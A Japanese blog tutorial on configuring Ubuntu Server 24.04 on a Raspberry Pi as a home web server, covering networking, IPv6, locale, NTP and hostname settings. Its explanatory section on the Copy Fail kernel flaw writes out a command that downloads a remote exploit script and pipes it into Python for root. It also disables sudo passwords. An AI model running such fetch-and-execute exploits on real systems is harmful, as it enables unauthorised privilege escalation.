ラズパイで作る自宅WEBサーバ:nginx編
第1回 Ubuntu Server 設定

2026.09.14
●Ubuntu Server 24.04.4 LTS
2024年4月25日、Ubuntu24.04 LTSがリリースされました。
標準サポート期間は、リリースから5年間の2029年4月までです。

ネットワークケーブルを繋いで、有線接続できるようにしておきます。
microSDカードを Raspberry Pi 3 model B+ に差し込んで起動します。
初期状態でSSHが利用可能になっているので、TeraTermなどでSSH接続して作業を行っても構いません。
●Ubuntuバージョンの確認
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
●sudoでのパスワード要求の無効化
$ sudo vi /etc/sudoers
# See sudoers(5) for more information on "@include" directives:
ubuntu ALL=(ALL:ALL) NOPASSWD: ALL
@includedir /etc/sudoers.d
:wq! で強制的に保存して終了します。
●Ethernet(有線LAN)用MACアドレス確認
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
inet 192.168.11.10/24 metric 600 brd 192.168.11.255 scope global dynamic wlan0
valid_lft 171777sec preferred_lft 171777sec
inet6 xxxx::xxxx:xxx:xxxx:xxx/64 scope link
valid_lft forever preferred_lft forever
オレンジ色のMACアドレスを控えておきます。
●ネットワーク設定
初期状態のネットワーク設定をみると無線LANの設定のみです。
$ sudo cat /etc/netplan/50-cloud-init.yaml
network:
version: 2
wifis:
wlan0:
optional: true
dhcp4: true
regulatory-domain: "JP"
access-points:
"XXXXXXXXXXXX":
auth:
key-management: "psk"
password: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
Ubuntu Desktopでは renderer にNetwork-Managerを使用し、UbuntuServerやRaspberryPi用のUbuntu24.04 Serverでは netplanで設定します。
デフォルト値を変更したい場合は、renderer を明記します。
無線接続設定を削除して、有線接続に書き換えます。
ここでは、WEBサーバ(ラズベリーパイ)のローカルIPアドレスを、192.168.11.28 としています。
network:
version: 2
ethernets:
eth0:
optional: true
dhcp4: false
dhcp6: false
match:
macaddress: xx:xx:xx:xx:xx:xx
set-name: eth0
addresses: [192.168.11.28/24]
nameservers:
addresses: [192.168.11.28,192.168.11.1]
routes:
- to: default
via: 192.168.11.1
※yamlファイルは、TABでなくSPACE(基本は空白2文字)でインデントする必要があります。
macaddress の箇所に先程控えて置いたアドレスを記載します。
ネームサーバの部分には、WEBサーバのIPアドレス、ブロードバンドルータのIPアドレスの順に設定しています。
本番運用の際には、ネームサーバの指定にWEBサーバのIPアドレスは不要ですが、LAN内でドメイン名を使用してWEBサイトへのアクセスをテストする際に必要になります。
本番稼働時においてもこの設定を残しておくと、LAN内のパソコンからWAN側に出ずにアクセスできるので便利です。
詳しくは、DNS設定のところで解説します。
※無線接続を残したままにしておくと、DNSの優先順位をうまく設定できないことがあります。
※ローカルネットワーク側にラズパイを配置して、ポートマッピング機能により、グローバルIPアドレスへのリクエストをローカルIPアドレスに振り分けているので、この記載にグローバルIPアドレスは現れません。
設定の反映
$ sudo netplan apply
SSH接続している場合は接続が切れるので、再接続します
ipアドレスの確認
$ ip a (あるいは $ ifconfig )
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
inet 192.168.11.28/24 brd 192.168.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 xxxx::xxxx:xxx:xxxx:xxx/64 scope link
valid_lft forever preferred_lft forever
3: wlan0: mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
●IPv6の無効化
IPv6は使用しないので、無効化します。
$ sudo vi /etc/sysctl.d/70-disable-ipv6.conf
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
設定を反映します
$ sudo sysctl --system
これだけでは再起動した際に反映されないことがあるので、起動後にsysctl設定を再適用するスタートアップスクリプトを作成します。
$ sudo vi /etc/rc.local
#!/bin/bash
# /etc/rc.local
# Load kernel variables from /etc/sysctl.d
sysctl --system
exit 0
実行権限を付与します
$ sudo chmod 755 /etc/rc.local
サーバーを再起動します。
$ sudo reboot
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
inet 192.168.11.28/24 brd 192.168.11.255 scope global eth0
valid_lft forever preferred_lft forever
3: wlan0: mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
IPv6アドレスが表示されなくなります。
●ネットワーク接続確認 ping
$ ping youtube.com
PING youtube.com (142.251.24.190) 56(84) bytes of data.
64 bytes from rj-in-f190.1e100.net (142.251.24.190): icmp_seq=1 ttl=113 time=66.8 ms
64 bytes from rj-in-f190.1e100.net (142.251.24.190): icmp_seq=2 ttl=113 time=69.3 ms
●ロケール確認・設定
対応しているロケール一覧を表示します
$ locale -a
C
C.UTF-8
POSIX
日本語ロケールがサポートされてるかを確認します
$ grep ja /usr/share/i18n/SUPPORTED
ja_JP.UTF-8 UTF-8
ja_JP.EUC-JP EUC-JP
ロケールを追加します
$ sudo locale-gen ja_JP.UTF-8
Generating locales (this might take a while)...
ja_JP.UTF-8... done
Generation complete.
ロケール追加を確認します
$ locale -a
C
C.UTF-8
POSIX
ja_JP.utf8
設定を反映させます
$ sudo localectl set-locale LANG=ja_JP.UTF-8 LANGUAGE="ja_JP:ja"
確認します
$ cat /etc/default/locale
LANG=ja_JP.UTF-8
LANGUAGE=ja_JP:ja
$ localectl status
System Locale: LANG=ja_JP.UTF-8
LANGUAGE=ja_JP:ja
VC Keymap: (unset)
X11 Layout: us
X11 Model: pc105
●時刻合わせ
タイムサーバを追加します
$ sudo vi /etc/systemd/timesyncd.conf
NTP=ntp.nict.jp
FallbackNTP=ntp.ubuntu.com
※FallbackNTPに複数サーバを指定する場合はスペース区切りで続けて記述します
$ timedatectl set-ntp true
==== AUTHENTICATING FOR org.freedesktop.timedate1.set-ntp ===
Authentication is required to control whether network time synchronization shall be enabled.
Authenticating as: Ubuntu (ubuntu)
Password:********
==== AUTHENTICATION COMPLETE ===
$ sudo systemctl enable systemd-timesyncd.service
●タイムゾーンの確認
Raspberry Pi Imagerで起動ディスク(microSD)作成時にタイムゾーンを設定しているので確認のみです。
$ timedatectl
Local time: Thu 2026-07-30 15:07:53 JST
Universal time: Thu 2026-07-30 06:07:53 UTC
RTC time: n/a
Time zone: Asia/Tokyo (JST, +0900)
System clock synchronized: yes
NTP service: active
RTC in local TZ: no
手動で変更する場合
$ sudo timedatectl set-timezone Asia/Tokyo
$ sudo systemctl restart systemd-timesyncd.service
●ホスト名の設定
現在のホスト名を確認します。
$ hostname
Rasp3Bplus
ドメイン名を example.com とした場合の設定は下記のようになります。
$ sudo hostnamectl set-hostname ns.example.com
$ hostnamectl
Static hostname: ns.example.com
Icon name: computer
Machine ID: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Boot ID: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Operating System: Ubuntu 24.04.4 LTS
Kernel: Linux 6.8.0-1047-raspi
Architecture: arm64
※ホスト名先頭の ns は Name Server の意味で、DNSサーバ設定に合わせた一般的な表記のようです
Ubuntu 24.04でホスト名が初期状態に戻る原因は、OS初期化ツール(cloud-init)が再起動時に設定を上書きするためです。
hostnamectlコマンドだけでなく、cloud-initの設定変更をあわせて行う必要があります。
$ sudo vi /etc/cloud/cloud.cfg
preserve_hostname: true
●パッケージの更新
ここまで完了したら一旦、インストール可能なパッケージ一覧を更新して、インストールされているパッケージを更新します。
$ sudo apt-get update
$ sudo apt-get upgrade
最後にこの状態でのSDカードとメモリの使用状況をみてみます
$ df
Filesystem 1K-blocks Used Available Use% Mounted on
tmpfs 798960 3272 795688 1% /run
/dev/mmcblk0p2 29179236 3232008 24707456 12% /
tmpfs 3994780 0 3994780 0% /dev/shm
tmpfs 5120 0 5120 0% /run/lock
/dev/mmcblk0p1 516204 191350 324854 38% /boot/firmware
tmpfs 798956 12 798944 1% /run/user/1000
$ free -t
total used free shared buff/cache available
Mem: 7989564 517868 4544136 3288 3244924 7471696
Swap: 0 0 0
Total: 7989564 517868 4544136
また、Ubuntu 24.04ではスワップ領域をスワップファイル /swap.img に確保するため、スワップパーティションを作成する必要がないようです。
●Copy Fail(CVE-2026-31431)
Copy Fail(CVE-2026-31431)は、2017年以降のほぼすべての主要なLinuxディストリビューションに影響を与える、
ローカル特権昇格(LPE)の脆弱性です。
対象:4.14以降のLinuxカーネル(2017年〜2026年の約9年間)
影響:一般ユーザーが管理者(root)権限を取得可能
仕組:カーネルの暗号API(AF_ALG)と splice() システムコールの処理におけるロジックの欠陥に起因します。
ページキャッシュへの参照が不適切に連鎖し、攻撃者が制御する4バイトのデータをメモリ上のsetuidバイナリ(/usr/bin/su など)のページキャッシュに直接書き込めます。
ディスク上のファイルは変更されず、メモリ上のキャッシュのみが書き換わるため、再起動で痕跡が消えるステルス性の高い攻撃です。
手口:732バイトのPythonスクリプトの実行
$ curl https://copy.fail/exp | python3 && su
これにより、キャッシュ上の uid=0(root)に変更されます。
Copy Failはあくまで「ローカル特権昇格」の脆弱性なので、第一段階として、すでにサーバの内部に犯人(または犯人が送り込んだプログラム)が侵入していることが絶対条件になります。
そもそも、Raspberry Pi用Ubuntu 24.04では、algif_aeadモジュールは無効化されているので、脆弱性による影響(攻撃経路)はありません。
念のため、確認しておきます。
$ lsmod | grep algif_aead
algif_aead が表示されない場合: 現在モジュールがロードされていない、または無効化されているため、この脆弱性を直接突かれるリスクは低いです。
●補足:needrestart
needrestartは、UbuntuなどのLinuxでパッケージ更新後に再起動が必要なサービスやデーモンを検知し、通知・自動再起動を行うツールです。
インストールやアップグレードを行うと下記のようなエラーが出ることがあります。
Scanning processes...
Scanning linux images...
Running kernel seems to be up-to-date.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
これはインストールが失敗しているわけではなく、それぞれ確認できないことにメッセージが出ています。
このメッセージを表示させない方法として下記のコマンドを実行します。
$ sudo apt purge needrestart
|